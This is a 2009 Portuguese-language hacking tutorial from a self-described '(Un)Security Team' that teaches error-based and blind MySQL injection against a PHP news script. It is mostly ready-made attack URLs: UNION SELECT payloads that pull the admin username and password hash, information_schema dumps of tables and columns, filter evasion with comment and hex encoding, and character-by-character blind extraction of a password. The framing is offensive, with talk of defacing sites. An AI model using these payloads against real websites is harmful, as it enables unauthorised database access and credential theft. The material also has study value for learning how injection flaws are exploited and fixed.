_____ _ _ _ _ _ | __ (_) | | | | | | | | | |__) | _ __ | | _| |__| | __ _| |_ | ___/ | '_ \| |/ / __ |/ _` | __| | | | | | | | <| | | | (_| | |_ |_| |_|_| |_|_|\_\_| |_|\__,_|\__| PinkHat (Un)Security Team 2009 Titulo : MySQL Injection Tutorial Autor : fvox (Júnior) Data : 11.02.2009 ########################## Índice - MySQL Injection ########################## SQL Injection [0x00] - Sobre o ataque [0x01] - Onde acontece [0x10] - Verificando a vulnerabilidade [0x11] - Atacando! [0x12] - Capturando dados [0x13] - MySQL Dump [0x14] - Burlando filtros Blind Injection [0x00] - Sobre o ataque [0x10] - Verificando a vulnerabilidade [0x12] - Achando uma tabela [0x13] - Achando uma coluna [0x14] - Capturando dados ######################### [0x00] - Sobre o ataque ######################### Antes de começar o tutorial, eu recomendo que você tenha uma noção sobre SQL, nem que seja uma noção mínima para não ter dificuldade em entender o funcionamento de um ataque em um site vulnerável a (Blind) MySQL Injection O único requerimento para este ataque é um browser comum. Inicialmente vocẽs não precisarão de scanners ou tools para explorar a falha, portanto, procure ENTENDER o que está escrito aqui pois creio que atualmente, esta é a falha mais encontrada na internet, porém não é a mais fácil de explorar e fazer o deface em um web site. Vocês não terão uma phpshell em mãos onde só irão clicar no botãozinho e a phpshell altera "automaticamente" a index de um site, como acontece em falhas de include (Local File Inclusion e Remote File Inclusion). ######################## [0x01] - Onde acontece ######################## Como alguns de vocês devem saber, este tipo de ataque não depende da linguagem de programação do script (a correção da falha depende), e sim do banco de dados SQL, ou seja, você pode encontrar a vulnerabilidade em um site feito em PHP, mas também pode encontrar em um site feito em ASP. No caso desta matéria, irei abordar os ataques em um servidor MySQL e PHP. A falha também não depende do tipo da requisição, ou seja, é possível encontrar vuln em requests GET, POST, e o que seja manipulável pelo cliente. Nesta matéria eu irei exemplificar com requisições GET, já que é a mais manipulável e a melhor para usar nas explicações. Eu usarei um sistema de notícias que pega o ID da notícia via GET durante toda a matéria. ------------------------------- SQL INJECTION ATTACK ------------------------------- ######################################## [0x10] - Verificando a vulnerabilidade ######################################## SQL Injection só é possível quando o site te informa qual o erro que o banco de dados caso não seja possível fazer a consulta no banco de dados. Por exemplo: Como vimos ali, caso não seja possível enviar a consulta ao MySQL, o script é interrompido exibindo a mensagem de erro da operação enviada ao MySQL. Se eu entrar em http://www.fvox.com/noticias.php?id=10%27 (lembrando que %27 equivale a uma aspa simples '). A query a ser enviada seria a seguinte: SELECT * FROM noticias WHERE id = '10'' A aspa inserida na URL iria modificar a sintaxe da consulta, então a função mysql_error() retornaria algo parecido com: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''10''' at line 14 É claro que o servidor pode emitir outros erros, mas desde que exiba um erro, já é alguma coisa para que você possa realizar seus penetration tests com grande esperança, o que te motiva bastante. #################### [0x11] - Atacando! #################### Depois de ver que o site está vulnerável, o próximo passo é descobrir a quantidade de colunas da tabela noticias. Isso é possível utilizando a cláusula "order by", que não irei explicar para que serve porque como já disse no início da matéria, estou escrevendo para usuários que já tem experiência com MySQL e não para o Sander e outros saírem por aí pixando o site de todo mundo, AUHAUHAUHAU. SELECT * FROM noticias WHERE id = '$id' order by 1/* Ignora o resto da query http://www.fvox.com/noticias.php?id=10 order by 1/* Não deu erro http://www.fvox.com/noticias.php?id=10 order by 2/* Não deu erro http://www.fvox.com/noticias.php?id=10 order by 3/* Não deu erro http://www.fvox.com/noticias.php?id=10 order by 4/* DEU ERRO! Unknown column '4' in 'order clause' É só ir dando order by até dar erro, cada site em um número de colunas diferentes, não pensem que vocês irão realizar o ataque com quatro colunas em todos os sites. Com base nos erros enviados pelo site, pudemos perceber que a tabela noticias do nosso site imaginário possui três colunas, e será com elas que iremos trabalhar. ########################### [0x12] - Capturando dados ########################### Agora iremos utilizar o operador UNION, que também não irei explicar para que serve... Essa porra tá com 110 linhas e eu ainda nem cheguei na metade, puta que pariu. SELECT * FROM noticias WHERE id = '$id' union all select 1,2,3-- http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3-- Quando você injetar isso na URL, o site irá imprimir um "número" na tela, seja ele 1, 2 ou 3. Se o site mostrou um 2 na tela, substituia o número 2 por "@@version". O site irá imprimir a versão do banco de dados na tela. Se colocarmos database() no lugar do 2, o site irá imprimir o nome do banco de dados em que a tabela está. http://www.fvox.com/noticias.php?id=-1 union all select 1,@@version,3-- 5.1.30-gpl-log http://www.fvox.com/noticias.php?id=null union all select 1,database(),3-- fvox (digamos que o nome do db imaginário seja fvox, LOL) Agora vem uma parte chata. Você terá que chutar o nome da tabela! Isso mesmo, você terá que adivinhar o nome da droga da tabela. Você pode tentar admin, users, usuarios, membros, cadastros, administrador, etc. Caso a versão do MySQL seja 5.xxxx, você pode recorrer a uma técnica chamada MySQL Dump, onde você consegue o nome das tabelas e colunas por meio da tabela information_schema. Se a versão do MySQL for 4 e você não conseguir adivinhar o nome da tabela, desista do site. Como eu usei a versão 5.1.30-gpl-log como exemplo desta matéria, eu irei abordar como "dumpar" as tabelas e colunas mais para frente. http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3 from users-- Table 'fvox.users'doesn't exist http://www.fvox.com/noticias.php?id=-1 union all select 1,2,3 from admin-- Não deu erro! Deste modo, chegamos a conclusão de que há uma tabela chamada admin, que certamente guarda dados do administrador e que este tutorial está ficando muito grande pro meu gosto. Agora que descobrimos a tabela, iremos novamente nos foder para descobrir o nome das colunas para pegar as informações do admin. http://www.fvox.com/noticias.php?id=-1 union all select 1,user,3 from users-- Erro http://www.fvox.com/noticias.php?id=-1 union all select 1,concat_ws(0x3a,username,password),3 from users-- FUNFOU! fvox:536facb9b05a48e2adb15866353b62ee A função concat_ws é só para organização mesmo. O "ws" no nome da função significa with separator. Todos as colunas no parametro da função serão exibidas na página com o separador ":". Neste caso, o site imprimiu os dados da coluna USERNAME e coluna PASSWORD com o separador. ##################### [0x13] - MySQL Dump ##################### O famoso "Dump" é uma técnica disponível apenas em servidores que utilizam MySQL na sua versão 5.xxx. A utilidade do Dump é que você não precisará ficar chutando o nome das tabelas e nem o nome das colunas, graças ao information_schema. Primeiramente, vamos listar o nome das tabelas do banco de dados: http://www.fvox.com/noticias.php?id=-1 union all select 1,table_name,3 from information_schema.tables-- Para obter o nome das colunas é quase a mesma coisa: http://www.fvox.com/noticias.php?id=-1 union all select 1,column_name,3 from information_schema.columns-- http://www.fvox.com/noticias.php?id=-1 union all select 1,column_name,3 from information_schema.columns where table_name='admin'-- ########################### [0x14] - Burlando filtros ########################### Como vocês já sabem, em toda parte do mundo há programadores burros, ou melhor, MUITO burros. Já encontrei filtros ridículos por aí (não só filtros para SQL Injection). Alguns programadores removem os espcaços da URL ou fazem uma verificação feia. Porém, este tipo de filtro é extremamente fácil de ser burlado. Nós podemos substituir os espaços da URL por "/**/" e inserir o número das colunas em hex. Para vocês entenderem melhor, vou exemplificar: http://www.fvox.com/noticias.php?id=-1 union all select 1,concat_ws(0x3a,username,password),3 from users-- http://www.fvox.com/noticias.php?id=-1/**/union/**/all/**/select/**/0x31,concat_ws(0x3a,username,password),0x33/**/from /**/users-- Fim do tutorial sobre SQL Injection. --------------------------------- BLIND SQL INJECTION ATTACK --------------------------------- ######################### [0x00] - Sobre o ataque ######################### Como eu já expliquei acima, SQL Injection é uma técnica baseada nos erros que o script que realiza a conexão nos mostra em caso de erro. A principal diferença entre o SQL Injection normal e o Blind SQL Injection é que em Blind, não necessitamos das informações que o servidor nos mostra. É por isso que o nome do ataque é "Blind Injection" (Injeção cega em português). Nós apenas injetamos algo e o servidor retorna apenas valores booleanos (true ou false) durante o ataque. ######################################## [0x10] - Verificando a vulnerabilidade ######################################## Nesta parte da matéria, eu usarei como exemplo este script: Como pudemos ver, o script esconde os erros da função mysql_fetch_row() utilizando o operador de controle de erro "@" antes de chamar a função. Muitos programadores acreditam que assim eles estarão seguros, mas é aí que eles se enganam, mWhahHaHAhaHa. Para verificar se um site está ou não vulnerável, nós adicionados uma string na URL. Se a página retorna o valor true, a página é exibida normalmente. Se a página retornar false, não deve ser exibido a consulta na página (no caso, a notícia). TRUE: http://www.fvox.com/noticias.php?id=1 AND 1=1 FALSE: http://www.fvox.com/noticias.php?id=1 AND 1=0 #################### [0x12] - Achando uma tabela #################### Seguindo o exemplo da matéria sobre SQL Injection, vou manter a tabela 'admin'. O exemplo abaixo retorna FALSE porque não existe uma tabela chamada "users". http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(*) FROM users) Agora se tentarmos com a tabela 'admin' o site retornaria TRUE: http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(*) FROM admin) ############################# [0x13] - Achando uma coluna ############################# Pegar o conteúdo de uma coluna é bem fácil. O problema, como sempre, é capturar o nome dela. Essa história de ficar adivinhando o nome das tabelas e coluna é chata! O exemplo abaixo retorna FALSE porque a coluna "nick" não existe: http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(nick) FROM admin) Ainda seguindo o exemplo da outra parte da matéria, temos a coluna username e a coluna password dentro da tabela admin. E então, ao usar Count(password), o site retornará true, avisando que a coluna PASSWORD existe: http://www.fvox.com/noticias.php?id=1 AND(SELECT Count(password) FROM admin) ########################### [0x14] - Capturando dados ########################### Para pegar o conteúdo de uma coluna, nós temos que adivinhar outra coisa, mas dessa vez é algo mais simples. Temos que adivinhar a quantidade de caracteres que o valor dessa coluna possui. Por exemplo, se a senha do admin que está na coluna PASSWORD da tabela ADMIN é "synyster", vimos que esta senha possui 8 caracteres. Agora vamos montar o exploit: http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where id=1)=4 //FALSE http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where id=1)=6 //FALSE http://www.fvox.com/noticias.php?id=1 AND(SELECT length(password) FROM admin where id=1)=8 //TRUE Agora que já sabemos quantos caracteres a senha do administrador tem, nós precisamos pegar caractere por caractere. Acho que é a pior parte. Eu recomendo que vocês programem um script que teste caractere por caractere, porque fazer na mão vai ser foda! Por exemplo, o valor da letra "f" em ascii é 102. E então, vou fazer a verificação para ver se a primeira letra da coluna PASSWORD da tabela ADMIN é "f": http://www.fvox.com/noticias.php?id=1 AND ascii(substring((SELECT concat(password) from admin limit 0,1),1,1))=102 Neste caso, o site iria retornar false, pois como citei no exemplo acima, a senha do admin é "synyster". Se eu tivesse colocado o valor da letra "s" ali, o site iria retornar true. Agora, para exemplificar melhor, eu irei pegar o segundo caractere: http://www.fvox.com/noticias.php?id=1 AND ascii(substring((SELECT concat(password) from admin limit 0,1),2,1))=121 O site retornou TRUE, pois o segundo caractere é 121 (y). Realmente é bem chato ficar testando caractere por caractere, mas há diversas tools por ai que facilitam este trabalho. Fim do tutorial. Atenciosamente, fvox.